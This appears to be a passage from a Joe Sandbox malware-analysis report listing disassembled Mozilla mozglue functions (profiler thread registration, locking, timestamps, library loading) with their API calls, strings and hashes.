
APIs

Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
Part of subcall function 6CD29420: __Init_thread_footer.LIBCMT ref: 6CD2949F

GetCurrentThreadId.KERNEL32 ref: 6CD2F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CD2F8F9

Part of subcall function 6CCF6390: GetCurrentThreadId.KERNEL32 ref: 6CCF63D0
Part of subcall function 6CCF6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CCF63DF
Part of subcall function 6CCF6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CCF640E

ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2F93A
GetCurrentThreadId.KERNEL32 ref: 6CD2F98A
GetCurrentThreadId.KERNEL32 ref: 6CD2F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD2F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD2F716

Part of subcall function 6CD294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD294EE
Part of subcall function 6CD294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD29508

Part of subcall function 6CCEB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CCEB5E0

GetCurrentThreadId.KERNEL32 ref: 6CD2F739
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2F746
GetCurrentThreadId.KERNEL32 ref: 6CD2F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CD6385B,00000002,?,?,?,?,?), ref: 6CD2F829
free.MOZGLUE(?,?,00000000,?), ref: 6CD2F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CD2F866
free.MOZGLUE(?), ref: 6CD2FA0C

Part of subcall function 6CCF5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF55E1), ref: 6CCF5E8C
Part of subcall function 6CCF5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CCF5E9D
Part of subcall function 6CCF5E60: GetCurrentThreadId.KERNEL32 ref: 6CCF5EAB
Part of subcall function 6CCF5E60: GetCurrentThreadId.KERNEL32 ref: 6CCF5EB8
Part of subcall function 6CCF5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CCF5ECF
Part of subcall function 6CCF5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CCF5F27
Part of subcall function 6CCF5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CCF5F47
Part of subcall function 6CCF5E60: GetCurrentProcess.KERNEL32 ref: 6CCF5F53
Part of subcall function 6CCF5E60: GetCurrentThread.KERNEL32 ref: 6CCF5F5C
Part of subcall function 6CCF5E60: GetCurrentProcess.KERNEL32 ref: 6CCF5F66
Part of subcall function 6CCF5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CCF5F7E

free.MOZGLUE(?), ref: 6CD2F9C5
free.MOZGLUE(?), ref: 6CD2F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CD2F9A6
Thread , xrefs: 6CD2F789
" attempted to re-register as ", xrefs: 6CD2F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6CD2F71F

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 4ea452811555d71033c6b3c35cb748f223af40137abd66aef1e9406c32ddc599
Instruction ID: 347e7c7d07db09df334df4beeba00e2133f5542a6df5c39e2eccb7ceb8122ecc
Opcode Fuzzy Hash: 4ea452811555d71033c6b3c35cb748f223af40137abd66aef1e9406c32ddc599
Instruction Fuzzy Hash: AD8118716047149FD700DF25C840BAEB7B5EFC5308F44496DEA8597B61EB34E849CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
Part of subcall function 6CD29420: __Init_thread_footer.LIBCMT ref: 6CD2949F

GetCurrentThreadId.KERNEL32 ref: 6CD2EE60
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2EE6D
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CD2EEA5
CloseHandle.KERNEL32(?), ref: 6CD2EEB4
free.MOZGLUE(00000000), ref: 6CD2EEBB
GetCurrentThreadId.KERNEL32 ref: 6CD2EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD2EECF

Part of subcall function 6CD2DE60: GetCurrentThreadId.KERNEL32 ref: 6CD2DE73
Part of subcall function 6CD2DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CCF4A68), ref: 6CD2DE7B
Part of subcall function 6CD2DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CCF4A68), ref: 6CD2DEB8
Part of subcall function 6CD2DE60: free.MOZGLUE(00000000,?,6CCF4A68), ref: 6CD2DEFE
Part of subcall function 6CD2DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CD2DF38

Part of subcall function 6CD1CBE8: GetCurrentProcess.KERNEL32(?,6CCE31A7), ref: 6CD1CBF1
Part of subcall function 6CD1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CCE31A7), ref: 6CD1CBFA

GetCurrentThreadId.KERNEL32 ref: 6CD2EF1E
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2EF2B
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2EF59
GetCurrentThreadId.KERNEL32 ref: 6CD2EFB0
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2EFBD
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2EFE1
GetCurrentThreadId.KERNEL32 ref: 6CD2EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD2F000

Part of subcall function 6CD294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD294EE
Part of subcall function 6CD294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD29508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CD2F02F

Part of subcall function 6CD2F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CD2F09B
Part of subcall function 6CD2F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CD2F0AC
Part of subcall function 6CD2F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CD2F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6CD2EED7
[I %d/%d] profiler_pause, xrefs: 6CD2F008

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 8cf2dbf4f57c82ab70448569f983c7c891057b97eb40ddfad32f278a27645d8f
Instruction ID: d387acc7264bc416c3af5e2a3cd246eb6b6a22b5cdf6cfaada70f21696411c2a
Opcode Fuzzy Hash: 8cf2dbf4f57c82ab70448569f983c7c891057b97eb40ddfad32f278a27645d8f
Instruction Fuzzy Hash: 7E51A135604610EFFB005B66D4087B57BBCEB4631DF100569EB1583FA1DB79A808C7B6

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CCF5E9D

Part of subcall function 6CD05B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CD056EE,?,00000001), ref: 6CD05B85
Part of subcall function 6CD05B50: EnterCriticalSection.KERNEL32(6CD6F688,?,?,?,6CD056EE,?,00000001), ref: 6CD05B90
Part of subcall function 6CD05B50: LeaveCriticalSection.KERNEL32(6CD6F688,?,?,?,6CD056EE,?,00000001), ref: 6CD05BD8
Part of subcall function 6CD05B50: GetTickCount64.KERNEL32 ref: 6CD05BE4

GetCurrentThreadId.KERNEL32 ref: 6CCF5EAB
GetCurrentThreadId.KERNEL32 ref: 6CCF5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CCF5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CCF6017

Part of subcall function 6CCE4310: moz_xmalloc.MOZGLUE(00000010,?,6CCE42D2), ref: 6CCE436A
Part of subcall function 6CCE4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CCE42D2), ref: 6CCE4387

moz_xmalloc.MOZGLUE(00000004), ref: 6CCF5F47
GetCurrentProcess.KERNEL32 ref: 6CCF5F53
GetCurrentThread.KERNEL32 ref: 6CCF5F5C
GetCurrentProcess.KERNEL32 ref: 6CCF5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CCF5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CCF5F27

Part of subcall function 6CCFCA10: mozalloc_abort.MOZGLUE(?), ref: 6CCFCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF55E1), ref: 6CCF5E8C

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF55E1), ref: 6CCF605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF55E1), ref: 6CCF60CC

Strings

GeckoMain, xrefs: 6CCF5ECE, 6CCF6015

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: bc7a1c7493390c82f9d8d2b8a4d43098ab25e31b4d2c2569b0a7cc6e1c95af7b
Instruction ID: 7a9d20a1d1680c17c303b5439c02366afbfbfcde6d39cc56fca25a10b25c82d9
Opcode Fuzzy Hash: bc7a1c7493390c82f9d8d2b8a4d43098ab25e31b4d2c2569b0a7cc6e1c95af7b
Instruction Fuzzy Hash: 377126B0604740DFE740DF29C480A6ABBF0FF5A304F14496DE59687B52E730E949CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCE31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CCE3217
Part of subcall function 6CCE31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CCE3236
Part of subcall function 6CCE31C0: FreeLibrary.KERNEL32 ref: 6CCE324B
Part of subcall function 6CCE31C0: __Init_thread_footer.LIBCMT ref: 6CCE3260
Part of subcall function 6CCE31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CCE327F
Part of subcall function 6CCE31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CCE328E
Part of subcall function 6CCE31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CCE32AB
Part of subcall function 6CCE31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CCE32D1
Part of subcall function 6CCE31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CCE32E5
Part of subcall function 6CCE31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CCE32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CCF9675
__Init_thread_footer.LIBCMT ref: 6CCF9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CCF96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CCF9707
__Init_thread_footer.LIBCMT ref: 6CCF971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CCF9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CCF97B7
FreeLibrary.KERNEL32 ref: 6CCF97D0
FreeLibrary.KERNEL32 ref: 6CCF97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CCF9824

Strings

MapViewOfFileNuma2, xrefs: 6CCF97B1
ntdll.dll, xrefs: 6CCF96E3
NtMapViewOfSection, xrefs: 6CCF9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CCF9670

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0b05d8cf2dedb9b19dd140f5a2158e781778df5744ae0eb39290a3cd4a71b25c
Instruction ID: 6c1fa2982822c793051a4b508fa3cd462bc55fddd6208c72ec8f1f9547a1c18d
Opcode Fuzzy Hash: 0b05d8cf2dedb9b19dd140f5a2158e781778df5744ae0eb39290a3cd4a71b25c
Instruction Fuzzy Hash: 7161E771704705ABEF00DF66D884BAA7BB8FF4A314F144529EA2587B90E730D859CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD46660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CD6F618), ref: 6CD46694
GetThreadId.KERNEL32(?), ref: 6CD466B1
GetCurrentThreadId.KERNEL32 ref: 6CD466B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CD466E1
EnterCriticalSection.KERNEL32(6CD6F618), ref: 6CD46734
GetCurrentProcess.KERNEL32 ref: 6CD4673A
LeaveCriticalSection.KERNEL32(6CD6F618), ref: 6CD4676C
GetCurrentThread.KERNEL32 ref: 6CD467FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CD46868
RtlCaptureContext.NTDLL ref: 6CD4687F

Strings

WalkStack64, xrefs: 6CD46890

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 091b89a8cb6a943db9f9aa476b355687b1ffc7def8cb3b56322907337f5e4fc5
Instruction ID: b802aa31709495844ca0701e65df85899685fbf7fc13671b3662a756018a7d11
Opcode Fuzzy Hash: 091b89a8cb6a943db9f9aa476b355687b1ffc7def8cb3b56322907337f5e4fc5
Instruction Fuzzy Hash: 18517D71A09301AFE711DF25C84475EBBF4BF89714F00892DF69987A60D770D509CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
Part of subcall function 6CD29420: __Init_thread_footer.LIBCMT ref: 6CD2949F

GetCurrentThreadId.KERNEL32 ref: 6CD2DE73
GetCurrentThreadId.KERNEL32 ref: 6CD2DF7D
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2DF8A
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2DFC9
GetCurrentThreadId.KERNEL32 ref: 6CD2DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD2E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CCF4A68), ref: 6CD2DE7B

Part of subcall function 6CD294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD294EE
Part of subcall function 6CD294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD29508

Part of subcall function 6CD1CBE8: GetCurrentProcess.KERNEL32(?,6CCE31A7), ref: 6CD1CBF1
Part of subcall function 6CD1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CCE31A7), ref: 6CD1CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CCF4A68), ref: 6CD2DEB8
free.MOZGLUE(00000000,?,6CCF4A68), ref: 6CD2DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CD2DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CD2E00E
[I %d/%d] locked_profiler_stop, xrefs: 6CD2DE83
<none>, xrefs: 6CD2DFD7

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: eba164ca23056916393a4344f24a6d3f7d22f67887bc8d8b93735f5df70c511f
Instruction ID: 96f0b13a2e149e6f728c4f4682e221b5c6d82e25757fead132ba8c0147495524
Opcode Fuzzy Hash: eba164ca23056916393a4344f24a6d3f7d22f67887bc8d8b93735f5df70c511f
Instruction Fuzzy Hash: F341D371B056109BEB209F66D8047BA77B9EF4630CF140019EB0597F61CB79A809CBF6

Uniqueness

Uniqueness Score: -1.00%

Function 6CD3D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CD3D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CD3D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD3D52A
GetCurrentThreadId.KERNEL32 ref: 6CD3D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CD3D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD3D55F
free.MOZGLUE(00000000), ref: 6CD3D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CD3D5D3
GetCurrentThreadId.KERNEL32 ref: 6CD3D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CD3D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD3D652
GetCurrentThreadId.KERNEL32 ref: 6CD3D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CD3D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD3D6A2

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: d9621eb39387c61f34e5e730a2c3388357b5ac2115981a7bca6f7bcc5d752c7c
Instruction ID: 9b66c2b77c13c31246b4d856c4c487b91e4e0d41058f254cce98fb58f629efc2
Opcode Fuzzy Hash: d9621eb39387c61f34e5e730a2c3388357b5ac2115981a7bca6f7bcc5d752c7c
Instruction Fuzzy Hash: 60517F71604705EFD704DF35C484A9ABBB8FF8A358F00962EE95A87761DB30E445CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD05670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CD056D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CD056E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CD056F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CD05744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CD057BC
GetTickCount64.KERNEL32 ref: 6CD058CB
EnterCriticalSection.KERNEL32(6CD6F688), ref: 6CD058F3
__aulldiv.LIBCMT ref: 6CD05945
LeaveCriticalSection.KERNEL32(6CD6F688), ref: 6CD059B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CD6F638,?,?,?,?), ref: 6CD059E9

Strings

MOZ_APP_RESTART, xrefs: 6CD056CC

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

